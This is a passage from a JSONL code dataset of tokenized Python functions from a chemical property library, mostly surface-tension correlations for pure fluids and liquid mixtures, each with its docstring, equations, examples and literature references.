rstride=<NUM_LIT:1>, alpha=<NUM_LIT:0.5>))<EOL><DEDENT>else:<EOL><INDENT>properties = [[self.calculate(T, P, zs, ws, method) for P in Ps] for T in Ts]<EOL>handles.append(ax.plot_surface(Ts_mesh, Ps_mesh, properties, cstride=<NUM_LIT:1>, rstride=<NUM_LIT:1>, alpha=<NUM_LIT:0.5>))<EOL><DEDENT><DEDENT>ax.yaxis.set_major_formatter(FormatStrFormatter('<STR_LIT>'))<EOL>ax.zaxis.set_major_formatter(FormatStrFormatter('<STR_LIT>'))<EOL>ax.xaxis.set_major_formatter(FormatStrFormatter('<STR_LIT>'))<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_zlabel(self.name + '<STR_LIT:U+002CU+0020>' + self.units)<EOL>plt.title(self.name + '<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(self.CASs) <EOL>+ '<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(str(round(i, <NUM_LIT:4>)) for i in zs) + '<STR_LIT:.>')<EOL>plt.show(block=False)<EOL>ax.legend(handles, methods)<EOL>plt.show(block=False)<EOL>", "docstring": "r'''Method to create a plot of the property vs temperature and pressure \n        according to either a specified list of methods, or user methods (if \n        set), or all methods. User-selectable number of points for each \n        variable. If only_valid is set,`test_method_validity` will be used to\n        check if each condition in the specified range is valid, and\n        `test_property_validity` will be used to test the answer, and the\n        method is allowed to fail; only the valid points will be plotted.\n        Otherwise, the result will be calculated and displayed as-is. This will\n        not suceed if the any method fails for any point.\n\n        Parameters\n        ----------\n        Tmin : float\n            Minimum temperature, to begin calculating the property, [K]\n        Tmax : float\n            Maximum temperature, to stop calculating the property, [K]\n        Pmin : float\n            Minimum pressure, to begin calculating the property, [Pa]\n        Pmax : float\n            Maximum pressure, to stop calculating the property, [Pa]\n        methods : list, optional\n            List of methods to consider\n        pts : int, optional\n            A list of points to calculate the property at for both temperature \n            and pressure; pts^2 points will be calculated.\n        only_valid : bool\n            If True, only plot successful methods and calculated properties,\n            and handle errors; if False, attempt calculation without any\n            checking and use methods outside their bounds", "id": "f15806:c2:m11"}
{"signature": "def REFPROP(T, Tc, sigma0, n0, sigma1=<NUM_LIT:0>, n1=<NUM_LIT:0>, sigma2=<NUM_LIT:0>, n2=<NUM_LIT:0>):", "body": "Tr = T/Tc<EOL>sigma = sigma0*(<NUM_LIT:1.>-Tr)**n0 + sigma1*(<NUM_LIT:1.>-Tr)**n1 + sigma2*(<NUM_LIT:1.>-Tr)**n2<EOL>return sigma<EOL>", "docstring": "r'''Calculates air-liquid surface tension  using the REFPROP [1]_\n    regression-based method. Relatively recent, and most accurate.\n\n    .. math::\n        \\sigma(T)=\\sigma_0\\left(1-\\frac{T}{T_c}\\right)^{n_0}+\n        \\sigma_1\\left(1-\\frac{T}{T_c}\\right)^{n_1}+\n        \\sigma_2\\left(1-\\frac{T}{T_c}\\right)^{n_2}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    sigma0 : float\n        First emperical coefficient of a fluid\n    n0 : float\n        First emperical exponent of a fluid\n    sigma1 : float, optional\n        Second emperical coefficient of a fluid.\n    n1 : float, optional\n        Second emperical exponent of a fluid.\n    sigma1 : float, optional\n        Third emperical coefficient of a fluid.\n    n2 : float, optional\n        Third emperical exponent of a fluid.\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    Function as implemented in [1]_. No example necessary; results match\n    literature values perfectly.\n    Form of function returns imaginary results when T > Tc; None is returned\n    if this is the case.\n\n\n    Examples\n    --------\n    Parameters for water at 298.15 K\n\n    >>> REFPROP(298.15, 647.096, -0.1306, 2.471, 0.2151, 1.233)\n    0.07205503890847453\n\n    References\n    ----------\n    .. [1] Diky, Vladimir, Robert D. Chirico, Chris D. Muzny, Andrei F.\n       Kazakov, Kenneth Kroenlein, Joseph W. Magee, Ilmutdin Abdulagatov, and\n       Michael Frenkel. \"ThermoData Engine (TDE): Software Implementation of\n       the Dynamic Data Evaluation Concept.\" Journal of Chemical Information\n       and Modeling 53, no. 12 (2013): 3418-30. doi:10.1021/ci4005699.", "id": "f15807:m0"}
{"signature": "def Somayajulu(T, Tc, A, B, C):", "body": "X = (Tc-T)/Tc<EOL>sigma = (A*X**<NUM_LIT> + B*X**<NUM_LIT> + C*X**<NUM_LIT>)/<NUM_LIT><EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension  using the [1]_\n    emperical (parameter-regressed) method. Well regressed, no recent data.\n\n    .. math::\n        \\sigma=aX^{5/4}+bX^{9/4}+cX^{13/4}\n        X=(T_c-T)/T_c\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    A : float\n        Regression parameter\n    B : float\n        Regression parameter\n    C : float\n        Regression parameter\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    Presently untested, but matches expected values. Internal units are mN/m.\n    Form of function returns imaginary results when T > Tc; None is returned\n    if this is the case. Function is claimed valid from the triple to the\n    critical point. Results can be evaluated beneath the triple point.\n\n    Examples\n    --------\n    Water at 300 K\n\n    >>> Somayajulu(300, 647.126, 232.713514, -140.18645, -4.890098)\n    0.07166386387996757\n\n    References\n    ----------\n    .. [1] Somayajulu, G. R. \"A Generalized Equation for Surface Tension from\n       the Triple Point to the Critical Point.\" International Journal of\n       Thermophysics 9, no. 4 (July 1988): 559-66. doi:10.1007/BF00503154.", "id": "f15807:m1"}
{"signature": "def Jasper(T, a, b):", "body": "sigma = (a - b*(T-<NUM_LIT>))/<NUM_LIT:1000><EOL>return sigma<EOL>", "docstring": "r'''Calculates surface tension of a fluid given two parameters, a linear\n    fit in Celcius from [1]_ with data reprinted in [2]_.\n\n    .. math::\n        \\sigma = a - bT\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid, [K]\n    a : float\n        Parameter for equation. Chemical specific.\n    b : float\n        Parameter for equation. Chemical specific.\n\n    Returns\n    -------\n    sigma: float\n        Surface tension [N/m]\n\n    Notes\n    -----\n    Internal units are mN/m, and degrees Celcius.\n    This function has been checked against several references.\n\n    Examples\n    --------\n    >>> Jasper(298.15, 24, 0.0773)\n    0.0220675\n\n    References\n    ----------\n    .. [1] Jasper, Joseph J. \"The Surface Tension of Pure Liquid Compounds.\"\n       Journal of Physical and Chemical Reference Data 1, no. 4\n       (October 1, 1972): 841-1010. doi:10.1063/1.3253106.\n    .. [2] Speight, James. Lange's Handbook of Chemistry. 16 edition.\n       McGraw-Hill Professional, 2005.", "id": "f15807:m2"}
{"signature": "def Brock_Bird(T, Tb, Tc, Pc):", "body": "Tbr = Tb/Tc<EOL>Tr = T/Tc<EOL>Pc = Pc/<NUM_LIT>  <EOL>Q = <NUM_LIT>*(<NUM_LIT:1> + Tbr*log(Pc/<NUM_LIT>)/(<NUM_LIT:1>-Tbr))-<NUM_LIT><EOL>sigma = (Pc)**(<NUM_LIT:2>/<NUM_LIT>)*Tc**(<NUM_LIT:1>/<NUM_LIT>)*Q*(<NUM_LIT:1>-Tr)**(<NUM_LIT:11>/<NUM_LIT>)<EOL>sigma = sigma/<NUM_LIT:1000>  <EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension  using the [1]_\n    emperical method. Old and tested.\n\n    .. math::\n        \\sigma = P_c^{2/3}T_c^{1/3}Q(1-T_r)^{11/9}\n\n        Q = 0.1196 \\left[ 1 + \\frac{T_{br}\\ln (P_c/1.01325)}{1-T_{br}}\\right]-0.279\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    Numerous arrangements of this equation are available.\n    This is DIPPR Procedure 7A: Method for the Surface Tension of Pure,\n    Nonpolar, Nonhydrocarbon Liquids\n    The exact equation is not in the original paper.\n    If the equation yields a negative result, return None.\n\n    Examples\n    --------\n    p-dichloribenzene at 412.15 K, from DIPPR; value differs due to a slight\n    difference in method.\n\n    >>> Brock_Bird(412.15, 447.3, 685, 3.952E6)\n    0.02208448325192495\n\n    Chlorobenzene from Poling, as compared with a % error value at 293 K.\n\n    >>> Brock_Bird(293.15, 404.75, 633.0, 4530000.0)\n    0.032985686413713036\n\n    References\n    ----------\n    .. [1] Brock, James R., and R. Byron Bird. \"Surface Tension and the\n       Principle of Corresponding States.\" AIChE Journal 1, no. 2\n       (June 1, 1955): 174-77. doi:10.1002/aic.690010208", "id": "f15807:m3"}
{"signature": "def Pitzer(T, Tc, Pc, omega):", "body": "Tr = T/Tc<EOL>Pc = Pc/<NUM_LIT>  <EOL>sigma = Pc**(<NUM_LIT:2>/<NUM_LIT>)*Tc**(<NUM_LIT:1>/<NUM_LIT>)*(<NUM_LIT>+<NUM_LIT>*omega)/<NUM_LIT> * (<EOL>(<NUM_LIT>+<NUM_LIT>*omega)/(<NUM_LIT>-<NUM_LIT>*omega))**(<NUM_LIT:2>/<NUM_LIT>)*(<NUM_LIT:1>-Tr)**(<NUM_LIT:11>/<NUM_LIT>)<EOL>sigma = sigma/<NUM_LIT:1000>  <EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension using the correlation derived\n    by [1]_ from the works of [2]_ and [3]_. Based on critical property CSP\n    methods.\n\n    .. math::\n        \\sigma = P_c^{2/3}T_c^{1/3}\\frac{1.86 + 1.18\\omega}{19.05}\n        \\left[ \\frac{3.75 + 0.91 \\omega}{0.291 - 0.08 \\omega}\\right]^{2/3} (1-T_r)^{11/9}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    The source of this equation has not been reviewed.\n    Internal units of presure are bar, surface tension of mN/m.\n\n    Examples\n    --------\n    Chlorobenzene from Poling, as compared with a % error value at 293 K.\n\n    >>> Pitzer(293., 633.0, 4530000.0, 0.249)\n    0.03458453513446387\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [2] Curl, R. F., and Kenneth Pitzer. \"Volumetric and Thermodynamic\n       Properties of Fluids-Enthalpy, Free Energy, and Entropy.\" Industrial &\n       Engineering Chemistry 50, no. 2 (February 1, 1958): 265-74.\n       doi:10.1021/ie50578a047\n    .. [3] Pitzer, K. S.: Thermodynamics, 3d ed., New York, McGraw-Hill,\n       1995, p. 521.", "id": "f15807:m4"}
{"signature": "def Sastri_Rao(T, Tb, Tc, Pc, chemicaltype=None):", "body": "if chemicaltype == '<STR_LIT>':<EOL><INDENT>k, x, y, z, m = <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT><EOL><DEDENT>elif chemicaltype == '<STR_LIT>':<EOL><INDENT>k, x, y, z, m = <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT:11>/<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>k, x, y, z, m = <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT:11>/<NUM_LIT><EOL><DEDENT>Tr = T/Tc<EOL>Tbr = Tb/Tc<EOL>Pc = Pc/<NUM_LIT>  <EOL>sigma = k*Pc**x*Tb**y*Tc**z*((<NUM_LIT:1> - Tr)/(<NUM_LIT:1> - Tbr))**m<EOL>sigma = sigma/<NUM_LIT:1000>  <EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension using the correlation derived by\n    [1]_ based on critical property CSP methods and chemical classes.\n\n    .. math::\n        \\sigma = K P_c^xT_b^y T_c^z\\left[\\frac{1-T_r}{1-T_{br}}\\right]^m\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    The source of this equation has not been reviewed.\n    Internal units of presure are bar, surface tension of mN/m.\n\n    Examples\n    --------\n    Chlorobenzene from Poling, as compared with a % error value at 293 K.\n\n    >>> Sastri_Rao(293.15, 404.75, 633.0, 4530000.0)\n    0.03234567739694441\n\n    References\n    ----------\n    .. [1] Sastri, S. R. S., and K. K. Rao. \"A Simple Method to Predict\n       Surface Tension of Organic Liquids.\" The Chemical Engineering Journal\n       and the Biochemical Engineering Journal 59, no. 2 (October 1995): 181-86.\n       doi:10.1016/0923-0467(94)02946-6.", "id": "f15807:m5"}
{"signature": "def Zuo_Stenby(T, Tc, Pc, omega):", "body": "Tc_1, Pc_1, omega_1 = <NUM_LIT>, <NUM_LIT>/<NUM_LIT>, <NUM_LIT><EOL>Tc_2, Pc_2, omega_2 = <NUM_LIT>, <NUM_LIT>/<NUM_LIT>, <NUM_LIT><EOL>Pc = Pc/<NUM_LIT><EOL>def ST_r(ST, Tc, Pc):<EOL><INDENT>return log(<NUM_LIT:1> + ST/(Tc**(<NUM_LIT:1>/<NUM_LIT>)*Pc**(<NUM_LIT:2>/<NUM_LIT>)))<EOL><DEDENT>ST_1 = <NUM_LIT>*(<NUM_LIT:1> - T/Tc)**<NUM_LIT>  <EOL>ST_2 = <NUM_LIT>*(<NUM_LIT:1> - T/Tc)**<NUM_LIT>  <EOL>ST_r_1, ST_r_2 = ST_r(ST_1, Tc_1, Pc_1), ST_r(ST_2, Tc_2, Pc_2)<EOL>sigma_r = ST_r_1 + (omega-omega_1)/(omega_2 - omega_1)*(ST_r_2-ST_r_1)<EOL>sigma = Tc**(<NUM_LIT:1>/<NUM_LIT>)*Pc**(<NUM_LIT:2>/<NUM_LIT>)*(exp(sigma_r)-<NUM_LIT:1>)<EOL>sigma = sigma/<NUM_LIT:1000>  <EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension using the reference fluids\n    methods of [1]_.\n\n    .. math::\n        \\sigma^{(1)} = 40.520(1-T_r)^{1.287}\n        \\sigma^{(2)} = 52.095(1-T_r)^{1.21548}\n        \\sigma_r = \\sigma_r^{(1)}+ \\frac{\\omega - \\omega^{(1)}}\n        {\\omega^{(2)}-\\omega^{(1)}} (\\sigma_r^{(2)}-\\sigma_r^{(1)})\n        \\sigma = T_c^{1/3}P_c^{2/3}[\\exp{(\\sigma_r)} -1]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    Presently untested. Have not personally checked the sources.\n    I strongly believe it is broken.\n    The reference values for methane and n-octane are from the DIPPR database.\n\n    Examples\n    --------\n    Chlorobenzene\n\n    >>> Zuo_Stenby(293., 633.0, 4530000.0, 0.249)\n    0.03345569011871088\n\n    References\n    ----------\n    .. [1] Zuo, You-Xiang, and Erling H. Stenby. \"Corresponding-States and\n       Parachor Models for the Calculation of Interfacial Tensions.\" The\n       Canadian Journal of Chemical Engineering 75, no. 6 (December 1, 1997):\n       1130-37. doi:10.1002/cjce.5450750617", "id": "f15807:m6"}
{"signature": "def Hakim_Steinberg_Stiel(T, Tc, Pc, omega, StielPolar=<NUM_LIT:0>):", "body": "Q = (<NUM_LIT> + <NUM_LIT>*omega - <NUM_LIT>*StielPolar - <NUM_LIT>*StielPolar**<NUM_LIT:2><EOL>- <NUM_LIT>*omega**<NUM_LIT:2> + <NUM_LIT>*StielPolar*omega)<EOL>m = (<NUM_LIT> + <NUM_LIT>*omega - <NUM_LIT>*StielPolar - <NUM_LIT>*StielPolar**<NUM_LIT:2><EOL>- <NUM_LIT>*omega**<NUM_LIT:2> + <NUM_LIT>*StielPolar*omega)<EOL>Tr = T/Tc<EOL>Pc = Pc/<NUM_LIT><EOL>sigma = Pc**(<NUM_LIT:2>/<NUM_LIT>)*Tc**(<NUM_LIT:1>/<NUM_LIT>)*Q*((<NUM_LIT:1> - Tr)/<NUM_LIT>)**m<EOL>sigma = sigma/<NUM_LIT>  <EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension using the reference fluids methods\n    of [1]_.\n\n    .. math::\n        \\sigma = 4.60104\\times 10^{-7} P_c^{2/3}T_c^{1/3}Q_p \\left(\\frac{1-T_r}{0.4}\\right)^m\n\n        Q_p = 0.1574+0.359\\omega-1.769\\chi-13.69\\chi^2-0.51\\omega^2+1.298\\omega\\chi\n\n        m = 1.21+0.5385\\omega-14.61\\chi-32.07\\chi^2-1.65\\omega^2+22.03\\omega\\chi\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n    StielPolar : float, optional\n        Stiel Polar Factor, [-]\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    Original equation for m and Q are used. Internal units are atm and mN/m.\n\n    Examples\n    --------\n    1-butanol, as compared to value in CRC Handbook of 0.02493.\n\n    >>> Hakim_Steinberg_Stiel(298.15, 563.0, 4414000.0, 0.59, StielPolar=-0.07872)\n    0.021907902575190447\n\n    References\n    ----------\n    .. [1] Hakim, D. I., David Steinberg, and L. I. Stiel. \"Generalized\n       Relationship for the Surface Tension of Polar Fluids.\" Industrial &\n       Engineering Chemistry Fundamentals 10, no. 1 (February 1, 1971): 174-75.\n       doi:10.1021/i160037a032.", "id": "f15807:m7"}
{"signature": "def Miqueu(T, Tc, Vc, omega):", "body": "Vc = Vc*<NUM_LIT><EOL>t = <NUM_LIT:1.>-T/Tc<EOL>sigma = k*Tc*(N_A/Vc)**(<NUM_LIT:2>/<NUM_LIT>)*(<NUM_LIT> + <NUM_LIT>*omega)*t**<NUM_LIT>*(<NUM_LIT:1>+<NUM_LIT>*t**<NUM_LIT:0.5> - <NUM_LIT>*t)*<NUM_LIT><EOL>return sigma<EOL>", "docstring": "r'''Calculates air-water surface tension using the methods of [1]_.\n\n    .. math::\n        \\sigma = k T_c \\left( \\frac{N_a}{V_c}\\right)^{2/3}\n        (4.35 + 4.14 \\omega)t^{1.26}(1+0.19t^{0.5} - 0.487t)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    sigma : float\n        Liquid surface tension, N/m\n\n    Notes\n    -----\n    Uses Avogadro's constant and the Boltsman constant.\n    Internal units of volume are mL/mol and mN/m. However, either a typo\n    is in the article or author's work, or my value of k is off by 10; this is\n    corrected nonetheless.\n    Created with 31 normal fluids, none polar or hydrogen bonded. Has an\n    AARD of 3.5%.\n\n    Examples\n    --------\n    Bromotrifluoromethane, 2.45 mN/m\n\n    >>> Miqueu(300., 340.1, 0.000199, 0.1687)\n    0.003474099603581931\n\n    References\n    ----------\n    .. [1] Miqueu, C, D Broseta, J Satherley, B Mendiboure, J Lachaise, and\n       A Graciaa. \"An Extended Scaled Equation for the Temperature Dependence\n       of the Surface Tension of Pure Compounds Inferred from an Analysis of\n       Experimental Data.\" Fluid Phase Equilibria 172, no. 2 (July 5, 2000):\n       169-82. doi:10.1016/S0378-3812(00)00384-8.", "id": "f15807:m8"}
{"signature": "def Aleem(T, MW, Tb, rhol, Hvap_Tb, Cpl):", "body": "MW = MW/<NUM_LIT> <EOL>sphericity = <NUM_LIT:1.> - <NUM_LIT>*MW + <NUM_LIT>*MW*MW<EOL>return sphericity*MW**(<NUM_LIT:1>/<NUM_LIT>)/(<NUM_LIT>*N_A**(<NUM_LIT:1>/<NUM_LIT>))*rhol**(<NUM_LIT:2>/<NUM_LIT>)*(Hvap_Tb + Cpl*(Tb-T))<EOL>", "docstring": "r'''Calculates vapor-liquid surface tension using the correlation derived by\n    [1]_ based on critical property CSP methods.\n\n    .. math::\n        \\sigma = \\phi \\frac{MW^{1/3}} {6N_A^{1/3}}\\rho_l^{2/3}\\left[H_{vap}\n        + C_{p,l}(T_b-T)\\right]\n\n        \\phi = 1 - 0.0047MW + 6.8\\times 10^{-6} MW^2\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    MW : float\n        Molecular weight [g/mol]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    rhol : float\n        Liquid density at T and P [kg/m^3]\n    Hvap_Tb : float\n        Mass enthalpy of vaporization at the normal boiling point [kg/m^3]\n    Cpl : float\n        Liquid heat capacity of the chemical at T [J/kg/K]\n\n    Returns\n    -------\n    sigma : float\n        Liquid-vapor surface tension [N/m]\n\n    Notes\n    -----\n    Internal units of molecuar weight are kg/mol. This model is dimensionally\n    consistent.\n\n    This model does not use the critical temperature. After it predicts a \n    surface tension of 0 at a sufficiently high temperature, it returns \n    negative results. The temperature at which this occurs (the \"predicted\"\n    critical temperature) can be calculated as follows:\n\n    .. math::\n        \\sigma = 0 \\to T_{c,predicted} \\text{ at } T_b + \\frac{H_{vap}}{Cp_l}\n\n    Because of its dependence on density, it has the potential to model the \n    effect of pressure on surface tension.\n\n    Claims AAD of 4.3%. Developed for normal alkanes. Total of 472 data points. \n    Behaves worse for higher alkanes. Behaves very poorly overall.\n\n    Examples\n    --------\n    Methane at 90 K\n\n    >>> Aleem(T=90, MW=16.04246, Tb=111.6, rhol=458.7, Hvap_Tb=510870.,\n    ... Cpl=2465.)\n    0.01669970221165325\n\n    References\n    ----------\n    .. [1] Aleem, W., N. Mellon, S. Sufian, M. I. A. Mutalib, and D. Subbarao.\n       \"A Model for the Estimation of Surface Tension of Pure Hydrocarbon \n       Liquids.\" Petroleum Science and Technology 33, no. 23-24 (December 17, \n       2015): 1908-15. doi:10.1080/10916466.2015.1110593.", "id": "f15807:m9"}
{"signature": "def Mersmann_Kind_surface_tension(T, Tm, Tb, Tc, Pc, n_associated=<NUM_LIT:1>):", "body": "Tr = T/Tc<EOL>sigma_star = ((Tb - Tm)/Tm)**(<NUM_LIT:1>/<NUM_LIT>)*(<NUM_LIT>*(<NUM_LIT:1.> - Tr) + <NUM_LIT>*(<NUM_LIT:1.> - Tr)**(<NUM_LIT:4>/<NUM_LIT>))<EOL>sigma = sigma_star*(k*Tc)**(<NUM_LIT:1>/<NUM_LIT>)*(Tm/Tc)*Pc**(<NUM_LIT:2>/<NUM_LIT>)*n_associated**(-<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Estimates the surface tension of organic liquid substances\n    according to the method of [1]_.\n\n    .. math::\n        \\sigma^* = \\frac{\\sigma n_{ass}^{1/3}} {(kT_c)^{1/3} T_{rm}P_c^{2/3}}\n\n        \\sigma^* = \\left(\\frac{T_b - T_m}{T_m}\\right)^{1/3}\n        \\left[6.25(1-T_r) + 31.3(1-T_r)^{4/3}\\right]\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    Tm : float\n        Melting temperature [K]\n    Tb : float\n        Boiling temperature of the fluid [K]\n    Tc : float\n        Critical temperature of the fluid [K]\n    Pc : float\n        Critical pressure of the fluid [Pa]\n    n_associated : float\n        Number of associated molecules in a cluster (2 for alcohols, 1\n        otherwise), [-]\n\n    Returns\n    -------\n    sigma : float\n        Liquid-vapor surface tension [N/m]\n\n    Notes\n    -----\n    In the equation, all quantities must be in SI units. `k` is the boltzman\n    constant.\n\n    Examples\n    --------\n    MTBE at STP (the actual value is 0.0181):\n\n    >>> Mersmann_Kind_surface_tension(298.15, 164.15, 328.25, 497.1, 3430000.0)\n    0.016744309508833335\n\n    References\n    ----------\n    .. [1] Mersmann, Alfons, and Matthias Kind. \"Prediction of Mechanical and \n       Thermal Properties of Pure Liquids, of Critical Data, and of Vapor \n       Pressure.\" Industrial & Engineering Chemistry Research, January 31, \n       2017. https://doi.org/10.1021/acs.iecr.6b04323.", "id": "f15807:m10"}
{"signature": "def Winterfeld_Scriven_Davis(xs, sigmas, rhoms):", "body": "if not none_and_length_check([xs, sigmas, rhoms]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>rhoms = [i*<NUM_LIT> for i in rhoms]<EOL>Vms = [<NUM_LIT:1.>/i for i in rhoms]<EOL>rho = <NUM_LIT:1.>/mixing_simple(xs, Vms)<EOL>cmps = range(len(xs))<EOL>rho2 = rho*rho<EOL>return sum([rho2*xs[i]/rhoms[i]*xs[j]/rhoms[j]*(sigmas[j]*sigmas[i])**<NUM_LIT:0.5><EOL>for i in cmps for j in cmps])<EOL>", "docstring": "r'''Calculates surface tension of a liquid mixture according to\n    mixing rules in [1]_ and also in [2]_.\n\n    .. math::\n        \\sigma_M = \\sum_i \\sum_j \\frac{1}{V_L^{L2}}\\left(x_i V_i \\right)\n        \\left( x_jV_j\\right)\\sqrt{\\sigma_i\\cdot \\sigma_j}\n\n    Parameters\n    ----------\n    xs : array-like\n        Mole fractions of all components, [-]\n    sigmas : array-like\n        Surface tensions of all components, [N/m]\n    rhoms : array-like\n        Molar densities of all components, [mol/m^3]\n\n    Returns\n    -------\n    sigma : float\n        Air-liquid surface tension of mixture, [N/m]\n\n    Notes\n    -----\n    DIPPR Procedure 7C: Method for the Surface Tension of Nonaqueous Liquid\n    Mixtures\n\n    Becomes less accurate as liquid-liquid critical solution temperature is\n    approached. DIPPR Evaluation:  3-4% AARD, from 107 nonaqueous binary\n    systems, 1284 points. Internally, densities are converted to kmol/m^3. The\n    Amgat function is used to obtain liquid mixture density in this equation.\n\n    Raises a ZeroDivisionError if either molar volume are zero, and a\n    ValueError if a surface tensions of a pure component is negative.\n\n    Examples\n    --------\n    >>> Winterfeld_Scriven_Davis([0.1606, 0.8394], [0.01547, 0.02877],\n    ... [8610., 15530.])\n    0.024967388450439824\n\n    References\n    ----------\n    .. [1] Winterfeld, P. H., L. E. Scriven, and H. T. Davis. \"An Approximate\n       Theory of Interfacial Tensions of Multicomponent Systems: Applications\n       to Binary Liquid-Vapor Tensions.\" AIChE Journal 24, no. 6\n       (November 1, 1978): 1010-14. doi:10.1002/aic.690240610.\n    .. [2] Danner, Ronald P, and Design Institute for Physical Property Data.\n       Manual for Predicting Chemical Process Design Data. New York, N.Y, 1982.", "id": "f15807:m11"}
{"signature": "def Diguilio_Teja(T, xs, sigmas_Tb, Tbs, Tcs):", "body": "if not none_and_length_check([xs, sigmas_Tb, Tbs, Tcs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Tc = mixing_simple(xs, Tcs)<EOL>if T > Tc:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>Tb = mixing_simple(xs, Tbs)<EOL>sigmar = mixing_simple(xs, sigmas_Tb)<EOL>Tst = (Tc/T - <NUM_LIT:1.>)/(Tc/Tb - <NUM_LIT:1>)<EOL>return <NUM_LIT>*Tst**<NUM_LIT>*(T/Tb)*sigmar<EOL>", "docstring": "r'''Calculates surface tension of a liquid mixture according to\n    mixing rules in [1]_.\n\n    .. math::\n        \\sigma = 1.002855(T^*)^{1.118091} \\frac{T}{T_b} \\sigma_r\n\n        T^*  = \\frac{(T_c/T)-1}{(T_c/T_b)-1}\n\n        \\sigma_r = \\sum x_i \\sigma_i\n\n        T_b = \\sum x_i T_{b,i}\n\n        T_c = \\sum x_i T_{c,i}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    xs : array-like\n        Mole fractions of all components\n    sigmas_Tb : array-like\n        Surface tensions of all components at the boiling point, [N/m]\n    Tbs : array-like\n        Boiling temperatures of all components, [K]\n    Tcs : array-like\n        Critical temperatures of all components, [K]\n\n    Returns\n    -------\n    sigma : float\n        Air-liquid surface tension of mixture, [N/m]\n\n    Notes\n    -----\n    Simple model, however it has 0 citations. Gives similar results to the\n    `Winterfeld_Scriven_Davis` model.\n\n    Raises a ValueError if temperature is greater than the mixture's critical\n    temperature or if the given temperature is negative, or if the mixture's\n    boiling temperature is higher than its critical temperature.\n\n    [1]_ claims a 4.63 percent average absolute error on 21 binary and 4 \n    ternary non-aqueous systems. [1]_ also considered Van der Waals mixing \n    rules for `Tc`, but found it provided a higher error of 5.58%\n\n    Examples\n    --------\n    >>> Diguilio_Teja(T=298.15, xs=[0.1606, 0.8394],\n    ... sigmas_Tb=[0.01424, 0.02530], Tbs=[309.21, 312.95], Tcs=[469.7, 508.0])\n    0.025716823875045505\n\n    References\n    ----------\n    .. [1] Diguilio, Ralph, and Amyn S. Teja. \"Correlation and Prediction of\n       the Surface Tensions of Mixtures.\" The Chemical Engineering Journal 38,\n       no. 3 (July 1988): 205-8. doi:10.1016/0300-9467(88)80079-0.", "id": "f15807:m12"}
